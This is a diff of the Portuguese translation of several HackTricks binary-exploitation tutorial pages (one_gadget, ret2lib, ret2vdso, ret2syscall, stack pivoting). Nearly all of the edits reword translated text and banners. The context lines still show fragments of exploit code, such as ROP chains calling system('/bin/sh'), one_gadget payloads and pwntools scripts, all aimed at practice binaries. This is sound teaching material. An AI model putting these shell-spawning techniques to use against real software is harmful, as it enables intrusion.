+{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index b8bde007b..e741e52c3 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -1,34 +1,34 @@ # One Gadget {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Informação Básica +## Informações Básicas -[**One Gadget**](https://github.com/david942j/one\_gadget) permite obter um shell em vez de usar **system** e **"/bin/sh". One Gadget** irá encontrar dentro da biblioteca libc alguma maneira de obter um shell (`execve("/bin/sh")`) usando apenas um **endereço**.\ -No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, basta enviar mais valores NULL para evitar a restrição. +[**One Gadget**](https://github.com/david942j/one\_gadget) permite obter um shell em vez de usar **system** e **"/bin/sh". One Gadget** encontrará dentro da biblioteca libc alguma forma de obter um shell (`execve("/bin/sh")`) usando apenas um **endereço**.\ +No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada. ![](<../../../.gitbook/assets/image (754).png>) ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` -Para o endereço indicado pelo One Gadget, você precisa **adicionar o endereço base onde o `libc`** está carregado. +Para o endereço indicado pelo One Gadget, você precisa **adicionar o endereço base onde `libc`** está carregado. {% hint style="success" %} -One Gadget é uma **grande ajuda para técnicas de Arbitrary Write 2 Exec** e pode **simplificar as cadeias ROP** pois você só precisa chamar um endereço (e atender aos requisitos). +One Gadget é uma **grande ajuda para técnicas de Arbitrary Write 2 Exec** e pode **simplificar ROP** **chains** já que você só precisa chamar um endereço (e cumprir os requisitos). {% endhint %} ### ARM64 @@ -37,24 +37,24 @@ O repositório do github menciona que **ARM64 é suportado** pela ferramenta, ma ## Angry Gadget -Do [**repositório do github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Inspirado pelo [OneGadget](https://github.com/david942j/one\_gadget) esta ferramenta é escrita em python e usa [angr](https://github.com/angr/angr) para testar restrições para gadgets executando `execve('/bin/sh', NULL, NULL)`\ -Se você já testou todos os gadgets do OneGadget, o Angry Gadget oferece muito mais com restrições complicadas para tentar! +Do [**repositório do github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Inspirado pelo [OneGadget](https://github.com/david942j/one\_gadget), esta ferramenta é escrita em python e usa [angr](https://github.com/angr/angr) para testar restrições para gadgets executando `execve('/bin/sh', NULL, NULL)`\ +Se você ficou sem gadgets para tentar do OneGadget, Angry Gadget oferece muito mais com restrições complicadas para tentar! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index 8f903c9c5..aadb91f67 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -46,11 +46,11 @@ Criando um padrão com **`pattern create 200`**, usando-o e verificando o offset
-Dando uma olhada na função main desmontada, podemos ver que gostaríamos de **pular** para a instrução que pula para **`printf`** diretamente, cujo offset de onde o binário é carregado é **`0x860`**: +Dando uma olhada na função principal desmontada, podemos ver que gostaríamos de **pular** para a instrução que pula para **`printf`** diretamente, cujo offset de onde o binário é carregado é **`0x860`**:
-### Encontrar sistema e string `/bin/sh` +### Encontrar a string do sistema e `/bin/sh` Como o ASLR está desativado, os endereços sempre serão os mesmos: @@ -64,7 +64,7 @@ Usando rooper, um gadget interessante foi encontrado: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` -Este gadget carregará `x0` de **`$sp + 0x18`** e então carregará os endereços x29 e x30 de sp e pulará para x30. Assim, com este gadget, podemos **controlar o primeiro argumento e então pular para system**. +Este gadget carregará `x0` de **`$sp + 0x18`** e então carregará os endereços x29 e x30 de sp e saltará para x30. Assim, com este gadget, podemos **controlar o primeiro argumento e então saltar para system**. ### Exploit ```python @@ -126,7 +126,7 @@ Compile **sem canário**: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` -### PIE e ASLR, mas sem canário +### PIE e ASLR mas sem canário * Rodada 1: * Vazamento de PIE da pilha @@ -141,7 +141,7 @@ Definindo um ponto de interrupção antes de chamar printf, é possível ver que
-Tentando diferentes offsets, o **`%21$p`** pode vazar um endereço binário (bypass de PIE) e **`%25$p`** pode vazar um endereço da libc: +Tentando diferentes offsets, o **`%21$p`** pode vazar um endereço binário (bypass de PIE) e o **`%25$p`** pode vazar um endereço da libc:
@@ -217,7 +217,7 @@ Aprenda e pratique Hacking GCP: -Supporte o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 36b5d61a8..eb0efbec3 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -18,8 +18,8 @@ Aprenda e pratique Hacking GCP: Extracting package -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` -Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para nosso diretório de trabalho. +Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para o nosso diretório de trabalho. ### 3.3- Outras funções para leak ```python @@ -221,7 +221,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` -Finalmente, o exploit de execução /bin/sh será preparado para ser enviado: +Finalmente, a exploração de execução /bin/sh será preparada para ser enviada: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -242,7 +242,7 @@ Finalmente, o **endereço da função exit** é **chamado** para que o processo ## 4(2)- Usando ONE\_GADGET Você também pode usar [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE\_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\ -No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL` Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada. +No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL` Como você controla os valores dentro do **RSP**, você só precisa enviar alguns valores NULL a mais para que a restrição seja evitada. ![](<../../../../.gitbook/assets/image (754).png>) ```python @@ -251,7 +251,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` ## ARQUIVO DE EXPLOIT -Você pode encontrar um modelo para explorar essa vulnerabilidade aqui: +Você pode encontrar um template para explorar essa vulnerabilidade aqui: {% content-ref url="rop-leaking-libc-template.md" %} [rop-leaking-libc-template.md](rop-leaking-libc-template.md) @@ -289,11 +289,11 @@ Aprenda e pratique Hacking GCP: -Supporte o HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index e3c91ec09..782d98ead 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -1,25 +1,25 @@ # Ret2vDSO {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Informações Básicas -Pode haver **gadgets na região vDSO**, que é usada para mudar do modo usuário para o modo kernel. Nestes tipos de desafios, geralmente é fornecida uma imagem do kernel para fazer dump da região vDSO. +Pode haver **gadgets na região vDSO**, que é usada para mudar do modo usuário para o modo kernel. Nesse tipo de desafio, geralmente uma imagem do kernel é fornecida para despejar a região vDSO. -Seguindo o exemplo de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/), é possível ver como foi possível fazer dump da seção vdso e movê-la para o host com: +Seguindo o exemplo de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/), é possível ver como foi possível despejar a seção vdso e movê-la para o host com: ```bash # Find addresses cat /proc/76/maps @@ -65,28 +65,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` {% hint style="danger" %} -Note, portanto, como pode ser possível **burlar o ASLR abusando do vdso** se o kernel for compilado com CONFIG\_COMPAT\_VDSO, pois o endereço vdso não será randomizado: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +Note portanto como pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG\_COMPAT\_VDSO, pois o endereço do vdso não será randomizado: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) {% endhint %} ### ARM64 -Após despejar e verificar a seção vdso de um binário no kali 2023.2 arm64, não consegui encontrar lá nenhum gadget interessante (nenhuma maneira de controlar registradores a partir de valores na pilha ou controlar x30 para um ret) **exceto uma maneira de chamar um SROP**. Confira mais informações no exemplo da página: +Após despejar e verificar a seção vdso de um binário no kali 2023.2 arm64, não consegui encontrar lá nenhum gadget interessante (nenhuma maneira de controlar registradores a partir de valores na pilha ou de controlar x30 para um ret) **exceto uma maneira de chamar um SROP**. Confira mais informações no exemplo da página: {% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %} [srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md) {% endcontent-ref %} {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 27cd9853f..a82a91730 100644 --- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -59,14 +59,14 @@ Start End Offset Perm Path ``` ### Escrever String na memória -Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço. +Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` ### Automatizar cadeia ROP -O seguinte comando cria uma cadeia ROP completa `sys_execve` dado um binário estático quando há gadgets write-what-where e instruções syscall: +O seguinte comando cria uma cadeia ROP completa `sys_execve` dada uma binário estático quando há gadgets write-what-where e instruções syscall: ```bash ROPgadget --binary vuln --ropchain ``` @@ -193,8 +193,8 @@ target.interactive() * 64 bits, sem PIE, nx, canário BF, escrever em alguma memória um ROP para chamar `execve` e pular lá. {% hint style="success" %} -Aprenda & pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda & pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 2beab9611..1762b9f1f 100644 --- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -136,16 +136,16 @@ p.sendline(payload) p.interactive() ``` {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Supporte o HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index f19a78c58..aeaef6381 100644 --- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/stack-overflow/ret2win/README.md b/binary-exploitation/stack-overflow/ret2win/README.md index 541522766..9e4a835d1 100644 --- a/binary-exploitation/stack-overflow/ret2win/README.md +++ b/binary-exploitation/stack-overflow/ret2win/README.md @@ -17,7 +17,7 @@ Learn & practice GCP Hacking: {% endhint %} @@ -181,8 +181,8 @@ print(p.recvline()) p.close() ``` {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 131403298..ae477d7a1 100644 --- a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} -## Basic Information +## Informações Básicas Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de múltiplas funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**. @@ -31,16 +31,16 @@ And as the **EBP está na pilha** antes do EIP, é possível controlá-lo contro Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar. -Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para este local criado, e a operação `pop` subsequente diminui o ESP em 4, **fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.**\ -Note como você **precisa saber 2 endereços**: aquele para onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP. +Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização criada, e a operação `pop` subsequente diminui o ESP em 4, **efetivamente fazendo com que aponte para um endereço armazenado pelo atacante ali.**\ +Note como você **precisa saber 2 endereços**: O onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP. #### Construção do Exploit Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**. -Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar: +Então, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar: -* Um endereço válido de [**ONE\_GADGET**](https://github.com/david942j/one\_gadget). +* Um endereço válido [**ONE\_GADGET**](https://github.com/david942j/one\_gadget). * O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits). * O endereço de um gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado. * Alguma cadeia [**ROP**](../rop-return-oriented-programing/). @@ -52,7 +52,7 @@ Lembre-se de que antes de qualquer um desses endereços na parte controlada da m Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\ Geralmente, modifica-se o byte 0x00 para pular o mais longe possível. -Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada. +Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada. ### **Encadeamento de EBP** @@ -67,7 +67,7 @@ Agora, o **`ESP`** está controlado apontando para um endereço desejado e a pr Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa. -Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo, sem benefício aparente, mas pode ser interessante em alguns casos extremos. +Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo sem benefício aparente, mas pode ser interessante em alguns casos extremos. Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página: ```python @@ -107,7 +107,7 @@ print(p.recvline()) ``` ## EBP pode não ser usado -Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca controla o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.\ +Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca consegue controlar o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.\ Isso ocorre porque o **prólogo e epílogo mudam** se o binário estiver otimizado. * **Não otimizado:** diff --git a/binary-exploitation/stack-overflow/stack-shellcode/README.md b/binary-exploitation/stack-overflow/stack-shellcode/README.md index f59abcd5e..a7b42784e 100644 --- a/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -1,16 +1,16 @@ # Stack Shellcode {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
